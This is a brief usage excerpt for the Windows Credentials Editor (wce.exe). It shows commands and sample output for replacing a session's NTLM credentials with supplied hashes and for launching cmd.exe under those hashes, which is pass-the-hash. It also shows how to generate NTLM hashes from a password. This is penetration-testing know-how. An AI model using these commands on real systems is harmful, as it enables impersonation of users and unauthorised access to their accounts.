How to Change my current NTLM credentials?
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
For example:
C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537

LMHash: 01FC5A6BE7BC6929AAD3B435B51404EE
NTHash: 0CB6948805F797BF2A82807973B89537
NTLM credentials successfully changed!
How to Create a new logon session and launch a program with new NTLM credentials?
wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c <program>For example:
C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 -c cmd.exe
How to generate NTLM hashes with WCE?
wce.exe -g <cleartext password>For example:
C:\Users\test>wce.exe -g mypassword
